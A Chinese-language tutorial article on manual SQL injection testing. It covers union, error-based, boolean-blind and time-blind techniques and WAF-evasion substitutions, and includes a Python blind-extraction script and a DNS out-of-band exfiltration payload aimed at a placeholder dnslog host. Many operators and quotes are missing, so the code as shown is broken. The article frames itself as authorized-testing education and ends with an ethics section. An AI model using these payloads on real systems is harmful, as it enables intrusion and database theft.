SQL注入手工检测实战:回显注入与布尔盲注、时间盲注绕过WAF

发布时间:2026/10/20 14:34:57
SQL注入手工检测实战:回显注入与布尔盲注、时间盲注绕过WAF SQL注入这个东西圈内人嘴上不说但心里都清楚哪怕在自动化扫描器满天飞的今天手测注入的能力依然是区分“会按一个按钮”和“真正理解漏洞”的分水岭。我这些年做过不少授权范围内的渗透评估也带着团队复盘过多次被 WAF 挡下的渗透测试最常被问到的一个问题就是“为什么明明存在注入点扫出来一片死寂连个回显都没有”答案往往就藏在你对注入类型和回显机制的掌握深度里。所以这篇内容我不打算再科普什么是 SQL 注入而是直接从“回显注入”和“盲注”这两条主线讲起把从定位注入点到完成数据提取的完整思路、绕过手法、踩坑记录一次性拆开说透。如果你是做安全测试的同行或者正在学 Web 安全的同学这篇应该能让你少走一段弯路。1. 从回显注入讲起搞清楚你手里的“情报来源”到底有几个1.1 注入点与 SQL 拼接最底层的逻辑任何注入攻击的前提都是用户可控参数进了 SQL 语句而且没有被正确参数化。可是“可控”不等于“可利用”能不能利用首先要看输出结果以什么样的方式回到你眼前。我习惯把注入后的信息获取方式分成三大类直接回显、报错回显、无回显。直接回显就是你把数据拼进查询后页面正常展示关联结果报错回显是数据库把错误信息直接抛回页面无回显则是查询执行了但前端没有任何输出。判定注入点属于哪一类比一上来就堆 payload 重要得多。举例切一靶场环境假设 URL 长这样https://target.local/news.php?id1后端代码大概是这样拼出来的$sql SELECT title, content FROM news WHERE id . $_GET[id];你传id1时页面显示标题和正文传id1 and 11同样有内容传id1 and 12没内容那基本可以确认这个 id 参数能注入并且当前语句的查询结果直接影响页面渲染。这属于最理想的情况因为后面可以做联合查询直接把数据“带”出来。可如果页面根本不展示任何字段内容比如后端只做了判断if($result) echo 1; else echo 0;那前面那套“是否有内容”的逻辑就失效了你只能靠布尔条件、延时响应这些“旁路信息”去推断。这就是盲注的起点。所以第一步永远是不要急着跑字典先花几分钟确认注入点类型和回显方式这决定了后面所有攻击路径。1.2 回显注入的核心套路联合查询与报错注入回显注入里最舒服的就是联合查询。核心步骤不复杂先确定原查询的字段数量再找到页面模板展示数据的位置最后用UNION SELECT替换查询结果把想要的内容直接投影到页面上。确定字段数有两种常规手法一种是不断加ORDER BY n试错比如id1 ORDER BY 3返回正常id1 ORDER BY 4报错说明原查询只有 3 个字段。另一种是直接id-1 UNION SELECT 1,2,3--用不存在的 id 让前一条查询返回空结果后面的UNION结果就被正常渲染。如果页面显示了数字 2 出现在标题位置数字 3 出现在正文位置说明第二个字段是展示位那就可以把2替换成database()、version()、user()这类函数。报错注入则是页面不显示正常查询结果但会把数据库错误原样输出。这种情况下UNION就没用了只能利用报错函数把数据“塞进”错误消息里。MySQL 里常见的有updatexml()、extractvalue()、floor()这类函数原理都是构造一个 XPATH 表达式错误让攻击者控制的部分值出现在报错信息中。比如and extractvalue(1, concat(0x7e, database(), 0x7e))这句会让数据库把database()的结果拼接进 XPATH最终在错误里回显出来。很多同学不理解为什么报错注入要加0x7e因为这是个波浪符目的是让拼接结果在报错信息中清晰地和固定前缀分隔开便于提取。报错注入不是万能的很多新版数据库已经把报错信息输出关掉了而且 WAF 对这类函数名查得极严所以只能算一种备选通道。1.3 回显注入的局限与盲注出现的必然性如果说回显注入是“阳光大道”那盲注就是“隧道里的手电筒”。现实环境中大量后台系统不会把查询结果或错误信息直接展示给用户有的甚至接口返回固定 JSON比如{code:200}你根本不知道 SQL 到底查询到了什么。这时候强行使用联合查询或报错注入基本没有任何回显但应用逻辑还在依赖查询结果做判断比如“该条记录是否存在”“用户是否登录成功”于是布尔盲注和时间盲注就成了必然选择。另外一个容易被忽略的现实原因WAF 和自研过滤逻辑越来越强直接回显的特征 payload 往往在入口就被拦截而盲注的单字符判断请求看起来像普通流量反而更容易混过去。这就是为什么很多实战经验丰富的人在面对一处疑似注入点时不会第一时间追求联合查询回数据而是先跑一个布尔判断确认注入条件成立再逐步设计更高效率的利用方式。我习惯把回显注入和盲注当成同一条情报链上的不同环节先搭好“信息探测”的地基再想“数据提取”的管道路。2. 布尔盲注实操当页面只会回答“是”与“否”2.1 布尔盲注的基本判断流程布尔盲注的核心前提是页面出现了基于 SQL 查询结果的不同反馈。例如请求id1 and 11返回 200请求id1 and 12返回 404或者返回同样的页面但长度不同甚至只是响应时间不同这其实叠加了时间盲注。我们应该先确认反馈差异是稳定的否则后面所有判定都是空中楼阁。我经常在测试环境做这样一个稳定判定id1 and (select 1)1 id1 and (select 1)2如果第二条请求结果和第一条差异明显说明布尔条件可直接触发应用层差异。接下来要做的事情就更接近“人工二分查找”——把需要提取的数据比如数据库名转成字符的 ASCII 码再通过substr()、ascii()、mid()这类函数逐字符比较大小或等值。手工做布尔盲注的典型语句长这样id1 and ascii(substr(database(),1,1))100如果返回正常说明数据库名的第一个字符的 ASCII 大于 100再试110逐步缩小范围。这个过程看起来无聊却是所有自动化工具的底层逻辑。理解了它你就知道工具什么时候会误报什么时候会被过滤。2.2 常用函数与逐字符提取技巧布尔盲注里 MySQL 最常用的三个函数是database()、substr()、ascii()可能还会配合length()先确定长度。比如id1 and length(database())5确认库名长度。id1 and ascii(substr(database(),1,1))116确认第一个字符是t。然后循环改substr(database(),n,1)中的n直到全部字符提取完毕。如果目标用substr被过滤可以换mid()、left()、right()等语义相近的函数。还有一个小技巧直接用十六进制字符集报错的方式比如substr(database() from 1 for 1)这种语法有时能绕过只过滤了逗号的规则因为from...for...写法不需要逗号。判断返回不同的比较条件不要只试。有的过滤会把等号干掉你可以用greatest()函数比如id1 and greatest(ascii(substr(database(),1,1)),100)100当第一位 ASCII 大于等于 100 时greatest返回 100所以等值为真。此外还有between运算符可以替代大小比较如ascii(...) between 97 and 122。在盲注里每一位字符往往需要跑多次请求所以要用最“经济”的判定表达式能减少很多请求量。2.3 布尔盲注的提速与自动化思路手工逐字符提取一个十几位长度的库名非常煎熬所以实战中我更喜欢用脚本半自动化完成。你不需要一开始就上重型工具先用 Burp Suite 的 Intruder 或者一段 Python 脚本跑“二分法”就够了。Python 示例授权环境下使用import requests import string url https://target.local/news.php?id1 charset string.ascii_lowercase string.digits _. def test(condition): r requests.get(url and condition) return 正常页面的特征 in r.text flag_chars [] for pos in range(1, 20): found False for c in charset: cond fascii(substr(database(),{pos},1)){ord(c)} if test(cond): flag_chars.append(c) found True break if not found: break print(dbname:, .join(flag_chars))这段代码逻辑很简单枚举字符串集里的每个字符命中即记录。实际使用时要根据页面差异调整test()函数里的判断条件。比如页面正常返回 200、文本长度固定就改为检查长度或响应码。二分法可以把每一位字符的请求量从 10 次左右降到 4 次左右建议把判断条件封装成可复用的函数然后针对不同目标只改 URL 和特征关键词。3. 时间盲注当反馈被彻底抹平就用量度说话3.1 时间盲注的原理与必要条件很多时候界面连“是/否”的差异都不给你只有响应时间波动能说明问题。时间盲注的基本原理是利用数据库内置延时函数在条件为真时执行延时条件为假时不延时通过比较响应时间差来推断布尔表达式结果。MySQL 里最常见的是sleep()和benchmark()也有用get_lock()的后者需要 MySQL 会话特性配合实战中不如sleep稳定。不过时间盲注绝对不是简单塞一个sleep(5)下去就能用的。它有几个硬性条件一是数据库和 Web 服务中间没有长连接池的干扰二是目标网络质量要好网络自身抖动不能超过你的延时阈值三是后端执行超时时间要足够长不能你刚等到 3 秒就被代理或中间件强制断连。所以在正式利用之前一定要先打一个基准值连续请求 10 次正常 URL记录平均响应时间和最大延时作为后续判断的阈值。3.2 基于延时函数的时间盲注实例最经典的时间盲注句式是id1 and if(ascii(substr(database(),1,1))116, sleep(3), 0)--当表达式成立时sleep(3)会被执行响应时间明显增加不成立时查询立即完成。这里面有个细节if(condition, sleep(3), 0)里的第三个参数如果是0或者sleep(0)其实都行但不要用空字符串因为可能因为隐式转换产生意外。另外注意要用--注释掉后续 SQL 片段防止引号和其它语句干扰。如果if被 WAF 禁了可以换这种写法id1 and sleep(if(ascii(substr(database(),1,1))116, 3, 0))--思路一致但函数组合不同有时能绕过黑名单。benchmark是另一个可选的延时方式比如benchmark(10000000, sha1(test))因为它的延时不稳定和 CPU 负载、数据库缓冲区关系很大所以一般我只有在sleep完全不可用时才用它。判断时不要拿“是否大于 2 秒”这种拍脑袋阈值而是先做一组“延时时间等于预期延时一半”的验证请求确认延时信号的唯一性。3.3 时间盲注的噪声处理与进阶时间盲注最大的敌人叫噪声。数据库本身可能因为慢查询、锁、崩溃恢复偶尔出现 300ms 到 1000ms 的波动而这种波动会让短的sleep(1)信号完全淹没。处理噪声我有几条经验延时时间不要低于 3 秒。延时 1 秒太容易被噪声吞掉延时超过 5 秒又会让提取过程变得极慢。通常 3-5 秒是个平衡点。每个布尔条件至少验证两次即“预期延时的请求”和“预期延时 0 的请求”各发一遍比较差值。若差值波动过大就提升延时时间。在脚本里记录每次请求的实际耗时不要只看真假的标签这样即使出现少量抖动也能通过统计平均值恢复判断。如果目标支持waitfor delay语法SQL Server 场景对应的写法要改成waitfor delay 0:0:3且不能和 MySQL 语法混用。从效率角度看时间盲注是三种注入方式中请求量最大的所以我一般只用来做“回显注入和布尔盲注全部失效”时的最后方案或者用它先探测一段很小范围内的数据比如当前数据库名前两个字符确认无误后再想办法切到更高效率通道。4. 深度攻击技巧从盲注到全库数据提取的升级路径4.1 报错辅助与联合查询的交叉验证真正成熟的手法往往不是单一种类型走到黑而是把回显、报错、布尔、时间这几种能力组合起来用。我举个例子当UNION被 WAF 的union关键字过滤时可以先用布尔盲注确认表名再用报错注入把字段名或具体数据“顶”出来最后找机会用等价关键字绕回联合查询。组合拳的核心是“每种通道只拿它最擅长的那一块信息”。比如想确认目标数据库里有没有 admin 表先跑一条布尔语句and (select count(*) from information_schema.tables where table_schemadatabase() and table_nameadmin)0回答这个查询只用了布尔条件没有碰到任何高危函数很容易通过基础过滤。一旦确认存在再换报错注入去提取 admin 表的具体字段比如and extractvalue(1, concat((select group_concat(column_name) from information_schema.columns where table_nameadmin limit 0,1)))这个伎俩的问题是extractvalue太显眼很多 WAF 一看这个函数就拦截。所以我经常先用大小写变换、内联注释/*!50000extractvalue*/去试探或者换用floor(rand(0)*2)这种报错方式虽然报错消息长度有限但依然能提取到关键字段。4.2 带外数据通道让数据自己走出来如果回显、报错都被屏蔽时间盲注又太慢还可以考虑带外通道。名字虽然高级本质就是利用目标数据库主动发起对某个 DNS 服务器的请求把想要的数据拼进域名里让外部接收端通过 DNS 解析日志间接拿到数据。这种方法不会依赖 Web 页面回显只要数据库能发起外网 DNS 解析理论上就能把数据带出来。MySQL 里常用的函数是load_file()配合 UNC 路径比如select load_file(concat(\\\\, (select database()), .dnslog.example\\a))这条语句会用数据库所在服务器向xxx.dnslog.example发起 DNS 查询接收端从解析记录里看到数据库名。注意这里不能出现任何与敏感网络工具相关的词汇我提这个只是为了说明原理和防御视角实际在大多数隔离网络中这个通道并不会通。使用带外通道要格外小心它依赖目标环境的出站权限会把内部网络的一部分数据暴露到你自己的基础设施上属于高敏感操作必须在严格授权和数据最小化原则下使用平时我自己也很少碰除非客户授权允许做红队级别的验证。4.3 绕过 WAF 与过滤规则时的盲注技巧盲注阶段的请求往往因为“特征词”太集中而被拦截。比如substr、ascii、sleep都是重灾区。绕过思路大概有三类编码变形、等价替换、分块携带。编码变形最常见的是 URL 编码substr写成substr%23有时能骗过简单规则。更可靠的是十六进制和注释符插入MySQL 支持在关键字中间插入注释符例如su/*x*/bstr在部分版本解析后等于substr但这要现场测试因为数据库版本和解析器行为都不同。等价替换可以参考我的一个经验表原始写法替代写法适用场景substr(str,1,1)mid(str from 1 for 1)逗号被过滤时ascii(c)ord(c)函数名被过滤时if(a,sleep(3),0)sleep(if(a,3,0))if关键字被过滤时like a%/regexp等号被过滤时database()schema()函数名被过滤时分块携带的意思是把盲注条件的判断拆成多个小判断每个小判断的请求都非常符合正常业务参数比如id1 and ord(mid(database() from 1 for 1)) 116单个请求里没有大量明显关键词规避效果就好很多。但要注意过度编码可能被后端参数解码逻辑还原成原始代码反而触发更严格的安全规则所以每一步都要手感拿捏。5. 常见问题与排查技巧实录5.1 疑似注入点却不回显的常见原因我最常被问的一个问题是“我用工具扫了一遍说有注入但手工测试时页面完全没变化是不是误报”这种情形十有八九不是误报而是你在用“回显注入”的思路去测一个“盲注型”的点。排查顺序建议这样先用最基础的条件判断确认注入是否存在比如id1 and 11和id1 and 12看页面响应码、文本长度、标题内容有没有差异。如果没有差异加时间盲注验证id1 and sleep(3)和id1 and sleep(0)对比响应时间。检查是否存在多个注入点。有的系统前半段是数字型后半段变成字符串型你只在数字型里面测后面就会被单引号闭合干扰。确认后端是什么数据库。Oracle、SQL Server、MySQL 的语法差异很大你在 MySQL 写的 payload 在 Oracle 上毫无反应很正常。5.2 布尔盲注大量请求被拦截怎么办布尔盲注的特点就是请求量巨大当 WAF 开启速率限制或基于行为的检测时跑着跑着就被封 IP 或返回验证码。我的建议是把请求速率降下来但更重要的是降低请求总量。用二分法取代穷举每位字符从 10 次请求降到 4-5 次两个独立条件可以合并比如ascii(substr(...))100 and length(...)4一次请求验证两个条件但前提是你对页面特征足够了解不会产生歧义。如果还是被拦截考虑换 IP 是不提倡的很多测试授权范围不允许这么做。更合理的是给它一个“业务借口”让请求带上正常的 Referer、Cookie、甚至当前时间戳参数模仿一个真实浏览器的访问曲线。请求速度最好带随机间隔不要像脚本一样毫秒级并发否则就算没有 WAF目标应用服务器也能感知到异常。5.3 时间盲注响应忽快忽慢的校准方法时间盲注最让人抓狂的就是一大堆延迟请求中偶尔某个“预期延时”的请求因为网络原因提前返回了导致判断出错。遇到这种情况不要直接提高延时时间到 10 秒那样效率太低。应该做一个动态基线校准每跑 10 次判断就额外发一次and sleep(0)作为对照样本把对照样本的平均耗时作为本次判断的基线。如果当前请求耗时比基线高 150% 以上就认为延时条件为真。这样虽然多消耗一些请求但结果可靠度提升明显。另外我还会在脚本里做一个“重试机制”对判定结果不明确的请求耗时在基线附近徘徊自动重发一次避免因为单次抖动产生误判。这个机制的作用在真实网络环境下比我预想的还大尤其是用手机热点测试或者跨运营商访问时必须加上。5.4 从攻防视角回归防御测试者该守住的底线说了这么多技巧最后必须把丑话说在前面。SQL 注入测试的价值从来不在于“能打下来”而在于“能证明风险并推动修复”。我见过不少新人拿着工具对目标一顿狂跑结果把一个测试库的几十张表给 DROP 了最后只能赔礼道歉修复数据。这不是技术能力的问题是测试伦理的问题。如果你在做授权范围内的渗透测试请先明确三点第一是否获得书面授权授权范围是否包含这个域名和测试库第二是否使用最小化数据提取比如只取 database() 和用户信息来证明风险而不是把整个 user 表导出第三是否避免破坏性语句像DELETE、DROP、UPDATE这类写操作即使能执行也绝对不要碰。技术分享中的 payload 也要注意打码和脱敏不要把真实目标地址或者完整攻击链原样暴露这也是对行业生态的尊重。写在最后的一点实战感悟我从第一次在靶场上跑通联合查询到现在能在一个“无回显、无报错、还带 WAF”的接口上完成数据验证过程里最大的心得不是背下了多少 payload而是养成了“先判断信息通道再选择攻击路径”的思维习惯。回显注入、布尔盲注、时间盲注、报错注入、带外通道本质上都是 SQL 查询结果在物理世界中的不同投影方式你只需要找到当前环境里那一条还能通行的路然后把它走到底。还有一个小技巧值得分享所有盲注脚本不管写得多好都要在本地搭一个模拟环境先跑通。我用 Docker 起了一个简单的靶站只有一张 news 表和几十行数据。每次研究新绕过手法就在那个环境里测试响应特征和页面差异确认没问题再上真实授权目标。网上很多公开的 payload 一上来就是大段混淆代码看着吓人其实大部分都不适用于新版数据库和严格过滤规则。自己搭个环境把每条语句的解析过程拆出来多花点时间在原理上比照抄什么“万能 payload”有用得多。想清楚这一点后面不管遇到什么奇怪的目标心里都不会慌。

关于本文作者

来自尧图内容编辑团队

尧图内容编辑团队 内容团队

尧图内容编辑团队

本文由尧图网络内容编辑团队执笔。团队由资深项目经理、前端工程师与设计师组成,所有内容均来自亲手交付的真实项目,先讲清问题、再给出可落地的解法。尧图深耕北京网站建设十年,服务过京华建材集团、智造科技等各行业客户,把一线经验沉淀为可复用的行业观察。

  • 十年建站经验,覆盖建材、制造、服务、文创等
  • 项目经理把关选题与事实准确性
  • 工程师与设计师联合撰写专业细节
  • 统一编辑规范,保证文风与排版一致
  • 每月复盘转化数据,迭代选题方向

延伸阅读

相关资讯与近期热门内容

深度阅读推荐

建站决策前值得细读的三篇

网站改版的5个关键决策
2024-08-12

网站改版的5个关键决策

什么时候该改版、改到什么程度、如何避免流量掉光,京华建材集团改版复盘给出答案。

获取专属建站方案

看完文章,把您的行业与预算告诉我们,免费获取一份量身定制的官网建设方案与报价。

立即免费咨询